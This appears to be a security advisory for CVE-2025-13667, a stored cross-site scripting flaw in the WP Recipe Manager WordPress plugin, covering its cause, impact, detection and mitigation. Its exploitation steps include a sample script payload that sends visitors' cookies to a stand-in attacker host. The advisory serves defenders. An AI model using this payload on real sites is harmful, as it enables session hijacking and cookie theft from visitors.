CVE-2025-13667: 
WordPress vulnerability analysis and mitigation

CVE-2025-13667 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Recipe Manager plugin for WordPress, affecting all versions up to and including 1.0.0. The flaw exists in the 'Skill Level' input field due to insufficient input sanitization and output escaping on user-supplied attributes. It was published on January 7, 2026, and was reported by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium), assigned by Wordfence (Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), stemming from the plugin's failure to sanitize user-supplied input in the 'Skill Level' field and properly escape it on output. The vulnerable code is located in class.metaboxes.php at line 203 of the plugin's inc/libs/ directory. An authenticated attacker with at least Contributor-level access can inject arbitrary JavaScript into recipe posts; the malicious script is then stored in the database and executes in the browsers of any user who visits the affected page (Wordfence, WordPress Trac).

Successful exploitation allows injected scripts to execute in the context of any visitor's browser session on pages containing the malicious recipe content, impacting confidentiality and integrity (CVSS C:L/I:L/A:N). Attackers could steal session cookies, redirect users to phishing sites, perform actions on behalf of authenticated users (including administrators), or deliver further malware payloads. The changed scope (S:C) indicates the impact extends beyond the plugin itself to the broader WordPress site and its visitors (Wordfence).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2025-13667. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. Exploitation requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).

1. Gain Contributor Access: Register or compromise a WordPress account with at least Contributor-level privileges on a site running WP Recipe Manager ≤ 1.0.0.
2. Create or Edit a Recipe Post: Navigate to the recipe creation or editing interface provided by the WP Recipe Manager plugin.
3. Inject Malicious Payload: In the 'Skill Level' input field, enter a crafted XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based variant.
4. Submit and Publish: Save or publish the recipe post; the unsanitized payload is stored in the WordPress database.
5. Trigger Execution: When any site visitor (including administrators) loads the page containing the injected recipe, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to recipe creation/editing endpoints from Contributor-level accounts, particularly with unusual or encoded content in the 'Skill Level' field.
• Database: Presence of <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded equivalents in the wp_postmeta or wp_posts tables associated with recipe entries.
• Network: Outbound requests from visitor browsers to unknown external domains shortly after loading recipe pages, potentially carrying cookie or session data.
• File System: Unexpected modifications to plugin files in wp-content/plugins/wp-recipe-manager/ if an attacker escalated to file write access after initial XSS exploitation.

Users should update the WP Recipe Manager plugin to a version beyond 1.0.0 that includes proper input sanitization and output escaping for the 'Skill Level' field. As an interim measure, site administrators can restrict Contributor-level user registration and review existing recipe posts for suspicious content in the 'Skill Level' field. Deploying a Web Application Firewall (WAF) with XSS filtering rules (such as Wordfence's firewall) can help block exploitation attempts while a patch is applied (Wordfence).